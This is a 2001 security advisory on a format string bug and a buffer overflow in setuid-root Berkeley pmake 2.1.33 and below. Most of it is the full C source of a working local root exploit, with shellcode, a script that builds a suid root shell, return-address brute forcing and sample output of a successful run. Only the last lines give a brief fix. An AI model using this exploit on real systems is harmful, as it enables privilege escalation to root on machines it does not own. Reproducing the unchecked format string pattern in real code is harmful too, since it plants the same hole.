22th Nov 2001 [SBWID-4870]
COMMAND
pmake
SYSTEMS AFFECTED
Berkeley\'s pmake 2.1.33 and below
PROBLEM
Paul Starzetz found a format string bug in the Berkeley\'s pmake 2.1.33
and below (parallel make) package as well as a buffer overflow problem.
Pmake is suid root on various Linux distributions and uses root
privileges for binding to low TCP ports. The ordinary format string bug
leads to local root compromise on all vulnerable machines.
Details
-------
The vulnerable code can be found in src/job.c at line 720 and looks
like:
if (! (job->flags & JOB_SILENT) && !shutUp &&
commandShell->hasEchoCtl) {
DBPRINTF (\"%s\\n\", commandShell->echoOff);
DBPRINTF (commandShell->errCheck, cmd);
shutUp = TRUE;
}
and in src/str.c line 170:
register char *tstr; /* Pointer into tstring */
char tstring[512]; /* Temporary storage for the
* current word */
So if the user puts a shell definition into the Makefile, pmake will
use errCheck for output formatting which is controllable by the user.
The following Makefile demonstrates the format string problem:
all:
-echo blah
.SHELL : path=/bin/sh echo=\"\" quiet=\"\" hasErrCtl=no check=%x%x%x%x%x
Putting a long line (>512 characters) in place of the \'%x\' results in
SIGSEGV and possible overwrite of the return address on the stack (a
very carefully prepared string is needed).
Exploit
-------
A hole is a hole is a ... only if it is exploitable. The attached C
source code will brute force the format string and create a suid shell.
There is nothing special about it - the only hard point is to get the
write length correctly. Succesfull exploitation looks like:
paul@phoenix:~/expl/pmake > ./pm -w+2
*****************************************
* *
* pmake local root exploit *
* by IhaQueR@IRCnet \'2001 *
* *
*****************************************
* PHASE 1
preparing new environment
cleaning
preparing shell script
allocating pipe
stdout/in preparation
generating Makefile
finished setup
* PHASE 2
digging magic string: 0 1 2 3 4 5 6 7
8 9 10 11 12
found mark, parsing output
FOUND magic string with pading=0 output length=1446
* PHASE 3
looking for write position: 1 * FOUND *
FOUND write position at index=1
creating final makefile
creating shell in the environment
* PHASE 4
brute force RET: 0xbfff73b0 0xbfff73b4 0xbfff73b8
0xbfff73bc 0xbfff73c0
Paradox, created suid shell at /home/paul/expl/pmake/sush
----------------------------------- pmexpl.c
-----------------------------------
/****************************************************************
* *
* Pmake <= 2.1.33 local root exploit *
* coded by IhaQueR@IRCnet *
* compile with gcc -pmexpl-c -o pm *
* meet me at HAL \'2001 *
* *
****************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>
// some definitions
#define TARGET \"/usr/bin/pmake\"
#define MKFILE \"Makefile\"
#define MKMSH \"./mkmsh\"
#define TMPLEN 256
#define USERSTACK 0xc0000000u
#define NN \"\\E[m\"
#define GR \"\\E[32m\"
#define RD \"\\E[31m\"
#define BL \"\\E[34m\"
#define BD \"\\E[1m\"
#define FL \"\\E[5m\"
#define UL \"\\E[4m\"
extern char **environ;
static const char *banner = \"\\n\"
BL\"*****************************************\\n\"
\"*\\t\\t\\t\\t\\t*\\n\"
\"*\\tpmake local root exploit\\t*\\n\"
\"*\\tby \"FL\"IhaQueR@IRCnet\"NN BL\" \'2001\\t\\t*\\n\"
\"*\\t\\t\\t\\t\\t*\\n\"
\"*****************************************\\n\"
\"\\n\"NN;
static const char *usage = \"\\n\"
UL\"USAGE:\"NN \" %s\\t-w <wlen delta, try -32,...,32>\\n\"
\"\\t\\t-s <shell addr>\\n\"
\"\\t\\t-a <ret addr 0xbfff73c0 for orig SuSE 7.1 and pmake
2.1.33>\\n\"
\"\\t\\t-m <attempts>\\n\"
\"\\t\\t-p <%%g preload>\\n\"
\"\\n\";
static const char *mkfile = \"all:\\n\\t-echo blah\\n\\n.SHELL : path=/bin/sh
echo=\\\"\\\" quiet=\\\"\\\" hasErrCtl=no check=\";
// setresuid(0,0,0) shellcode
static char hellcode[]= \"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\"
\"\\xb0\\xa4\\xcd\\x80\"
\"\\xeb\\x24\\x5e\\x8d\\x1e\\x89\\x5e\\x0b\\x33\\xd2\\x89\\x56\\x07\\x89\\x56\\x0f\"
\"\\xb8\\x1b\\x56\\x34\\x12\\x35\\x10\\x56\\x34\\x12\\x8d\\x4e\\x0b\\x8b\\xd1\\xcd\"
\"\\x80\\x33\\xc0\\x40\\xcd\\x80\\xe8\\xd7\\xff\\xff\\xff./mkmsh\";
// our suid shell maker
static char mkmsh[] = \"#!/bin/bash\\n\"
\"cat <<__DUPA__>sush.c\\n\"
\"#include <stdio.h>\\n\"
\"#include <unistd.h>\\n\"
\"main() {setuid(geteuid()); execl(\\\"/bin/bash\\\", \\\"/bin/bash\\\",
NULL);}\\n\"
\"__DUPA__\\n\"
\"gcc sush.c -o sush >/dev/null 2>&1\\n\"
\"chown 0.0 sush\\n\"
\"chmod u+s sush\\n\";
static char *fromenv[] = { \"TERM\",
\"HOME\",
\"PATH\"
};
#define numenv (sizeof(fromenv)/sizeof(char*)+2)
static char *myenv[numenv];
static char eb[numenv][TMPLEN];
int cn=0;
void child_kill(int v)
{
cn--;
}
int do_fork()
{
cn++;
return fork();
}
int main(int ac, char** av)
{
int pd[2], fd, mk, i, j, res, pid, cnt, flip, mx, wdel;
unsigned *up, pad, wlen, shadr, wadr, len1, old, idx, gprel;
unsigned char *ptr;
char buf[16384];
char buf2[16384];
char aaaa[1024*32];
char head[64];
struct stat sb;
fd_set rs;
// setup defaults
// shell address is calculated from user stack location and the big nop
buffer...should work :-/
shadr = USERSTACK - sizeof(aaaa)/2;
wadr = 0xbfff73b0;
mx = 512;
gprel=150;
wdel=0;
setpgrp();
setsid();
printf(banner);
// parse options
if(ac!=1) {
res = getopt(ac, av, \"hw:s:a:m:p:\");
while(res!=-1) {
switch(res) {
case \'w\' :
wdel = atoi(optarg);
break;
case \'s\' :
sscanf(optarg, \"%x\", &shadr);
break;
case \'a\' :
sscanf(optarg, \"%x\", &wadr);
break;
case \'m\' :
sscanf(optarg, \"%d\", &mx);
break;
case \'p\' :
sscanf(optarg, \"%d\", &gprel);
if(gprel==0)
gprel=1;
break;
case \'h\' :
default :
printf(usage, av[0]);
exit(0);
break;
}
res = getopt(ac, av, \"hw:s:a:m:p:\");
}
}
// phase 1 : setup
printf(\"\\n\\n\"BD BL\"* PHASE 1\\n\"NN);
// prepare environ
printf(\"\\n\\tpreparing new environment\");
memset(aaaa, \'A\', sizeof(aaaa));
aaaa[4]=\'=\';
up=(unsigned*)(aaaa+5);
for(i=0; i<sizeof(aaaa)/sizeof(int)-2; i++)
up[i]=0x41424344;
aaaa[sizeof(aaaa)-1]=0;
len1=strlen(aaaa);
// buffer overflow :-)
myenv[0]=aaaa;
for(i=1; i<numenv-1; i++) {
myenv[i]=eb[i-1];
strcpy(eb[i-1], fromenv[i-1]);
if(!strchr(fromenv[i-1], \'=\')) {
strcat(eb[i-1], \"=\");
strcat(eb[i-1], getenv(fromenv[i-1]));
}
}
myenv[numenv-1]=NULL;
// clean
printf(\"\\n\\tcleaning\");
unlink(\"LOCK.make\");
unlink(\"sush\");
unlink(\"sush.c\");
unlink(\"mkmsh\");
system(\"rm -rf /tmp/make* >/dev/null 2>&1\");
// our suid shell
printf(\"\\n\\tpreparing shell script\");
mk = open(MKMSH, O_WRONLY|O_CREAT|O_TRUNC, S_IRWXU|S_IXGRP|S_IXOTH);
if(mk<0)
perror(\"open\"), exit(1);
write(mk, mkmsh, strlen(mkmsh));
close(mk);
// comm pipe
printf(\"\\n\\tallocating pipe\");
res = pipe(pd);
if(res<0)
perror(\"pipe\"), exit(2);
// redirect stdin/out
printf(\"\\n\\tstdout/in preparation\");
res = dup2(pd[1], 2);
if(res<0)
perror(\"dup2\"), exit(3);
fd = open(\"/dev/null\", O_RDWR);
if(fd<0)
perror(\"open\"), exit(4);
// our makefile
printf(\"\\n\\tgenerating Makefile\");
mk = open(MKFILE, O_WRONLY|O_CREAT|O_TRUNC, S_IRWXU);
if(mk<0)
perror(\"open\"), exit(5);
write(mk, mkfile, strlen(mkfile));
for(i=0; i<gprel; i++)
write(mk, \"%g\", 2);
fsync(mk);
// child killer
printf(\"\\n\\tfinished setup\");
if(signal(SIGCHLD, &child_kill)==SIG_ERR)
perror(\"signal\"), exit(6);
// phase 2 : dig format string
printf(\"\\n\\n\\n\" BD BL \"* PHASE 2\\n\"NN);
printf(\"\\n\\tdigging magic string:\\t\");
cnt=0;
while(1) {
lseek(mk, -2, SEEK_CUR);
write(mk, \"%g%x\", 4);
fsync(mk);
usleep(1);
pid = do_fork();
// get child output
if(pid) {
printf(\"%4d \", cnt);
fflush(stdout);
do {
bzero(buf, sizeof(buf));
res = read(pd[0], buf, sizeof(buf)-1);
if(res > 128) {
break;
}
} while(1);
kill(SIGTERM, pid);
usleep(1);
waitpid(pid, NULL, WUNTRACED);
bzero(buf2, sizeof(buf2));
read(pd[0], buf2, sizeof(buf2)-1);
if(waitpid(pid, NULL, WUNTRACED|WNOHANG)>0)
read(pd[0], buf2, sizeof(buf2)-1);
// look for padding
pad=-1;
if(strstr(buf, \"41424344\")) {
pad=0;
}
else if(strstr(buf, \"42434441\")) {
pad=1;
}
else if(strstr(buf, \"43444142\")) {
pad=2;
}
else if(strstr(buf, \"44414243\")) {
pad=3;
}
// if got the mark parse output for final string
if(pad!=-1) {
printf(\"\\n\\tfound mark, parsing output\");
ptr = strtok(buf, \"\\t\\n \");
while(ptr) {
if(strlen(ptr)>64)
break;
ptr = strtok(NULL, \"\\t\\n \");
}
// calculate write length -6, -8 hm I\'m dunno about the 16?
wlen=strlen(ptr)+wdel-16;
printf(\"\\n\\tFOUND magic string with pading=%d output length=%d\",
pad, wlen);
// PHASE 3 : find write pos in aaaa
printf(\"\\n\\n\\n\" BD BL \"* PHASE 3\\n\"NN);
printf(\"\\n\\tlooking for write position: \");
up=(unsigned*)(aaaa+5-pad);
cnt=0;
for(i=1; i<sizeof(aaaa)/sizeof(int)-1; i++) {
old=up[i];
up[i]=0xabcdef67;
printf(\"%4d \", i);
sprintf(head, \"%x\", up[i]);
fflush(stdout);
if(cn)
read(pd[0], buf2, sizeof(buf2)-1);
pid = do_fork();
if(pid) {
do {
bzero(buf, sizeof(buf));
FD_ZERO(&rs);
FD_SET(pd[0], &rs);
select(pd[0]+1, &rs, NULL, NULL, NULL);
res = read(pd[0], buf, sizeof(buf)-1);
if(res > 128) {
break;
}
} while(1);
kill(SIGTERM, pid);
usleep(1);
read(pd[0], buf2, sizeof(buf2)-1);
// up[i] is now the place for the beginning of our address field
if(strstr(buf, head)) {
printf(\" * FOUND *\");
fflush(stdout);
up[i]=old;
idx=i;
printf(\"\\n\\tFOUND write position at index=%d\", i);
up[i]=old;
ptr = strtok(buf, \"\\t\\n \");
while(ptr) {
if(strlen(ptr)>64)
break;
ptr = strtok(NULL, \"\\t\\n \");
}
// construct write \'head\':
printf(\"\\n\\tcreating final makefile\");
fflush(stdout);
lseek(mk, -2, SEEK_CUR);
ptr = (unsigned char*)&shadr;
for(j=0; j<4; j++) {
flip = (((int)256) + ((int)ptr[j])) - ((int)(wlen % 256u));
wlen = wlen + flip;
sprintf(head+j*8, \"%%%04dx%%n\", flip);
}
head[32] = 0;
write(mk, head, strlen(head));
// brute force RET on the stack upon success
printf(\"\\n\\tcreating shell in the environment\");
// create env shell
ptr = (unsigned char*)&(up[i+2*10]);
while(ptr<(unsigned char*)(aaaa+sizeof(aaaa)-4)) {
*ptr=0x90;
ptr++;
}
strncpy(aaaa+sizeof(aaaa)-strlen(hellcode)-1, hellcode,
strlen(hellcode));
aaaa[sizeof(aaaa)-1]=0;
if(len1!=strlen(aaaa)) {
printf(BD RD\"\\nERROR: len changed!\\n\"NN);
exit(7);
}
// phase 4: brute force
printf(\"\\n\\n\\n\"BD BL\"* PHASE 4\\n\"NN);
printf(\"\\n\\tbrute force RET:\\t\");
fflush(stdout);
cnt=0;
while(cnt<mx) {
for(j=0; j<4; j++) {
up[idx+2*j] = wadr + j%4;
up[idx+2*j+1] = wadr + j%4;
}
pid = do_fork();
if(pid) {
printf(\" 0x%.8x\", wadr);
fflush(stdout);
waitpid(pid, NULL, WUNTRACED);
res = stat(\"sush\", &sb);
if(!res && sb.st_uid==0) {
printf(BD GR\"\\n\\nParadox, created suid shell at
%s/sush\\n\\n\"NN, getcwd(buf, sizeof(buf)-1));
system(\"rm -rf /tmp/make* >/dev/null 2>&1\");
exit(0);
}
}
else {
res = dup2(fd, 1);
if(res<0)
perror(\"dup2\"), exit(8);
res = dup2(fd, 2);
if(res<0)
perror(\"dup2\"), exit(9);
execle(TARGET, TARGET, \"-X\", \"-dj\", NULL, myenv);
_exit(10);
}
if(cnt%8==7)
printf(\"\\n\\t\\t\\t\\t\");
cnt++;
wadr += 4;
}
// failure
printf(BD RD\"\\nFAILED :-(\"NN);
system(\"rm -rf /tmp/make* >/dev/null 2>&1\");
exit(11);
}
}
else {
res = dup2(fd, 1);
if(res<0)
perror(\"dup2\"), exit(12);
execle(TARGET, TARGET, \"-X\", \"-dj\", NULL, myenv);
exit(13);
}
up[i]=old;
waitpid(pid, NULL, WUNTRACED);
}
printf(BD RD\"\\n\\tstrange error, write pos not found!\\n\"NN);
system(\"rm -rf /tmp/make* >/dev/null 2>&1\");
exit(14);
ptr = strtok(buf, \"\\n\");
while(ptr) {
printf(\"\\nLINE [%s]\", ptr);
ptr = strtok(NULL, \"\\n\");
}
exit(15);
}
// start target and read output
}
else {
res = dup2(fd, 1);
if(res<0)
perror(\"dup2\"), exit(16);
execle(TARGET, TARGET, \"-X\", \"-dj\", NULL, myenv);
exit(17);
}
if(cnt%8==7)
printf(\"\\n\\t\\t\\t\\t\");
cnt++;
}
printf(BD RD\"\\nFAILED\\n\"NN);
system(\"rm -rf /tmp/make* >/dev/null 2>&1\");
return 0;
}
SOLUTION
The patch for the format string bug is obvious. Temporary solution is
to remove the suid bit from the binary.
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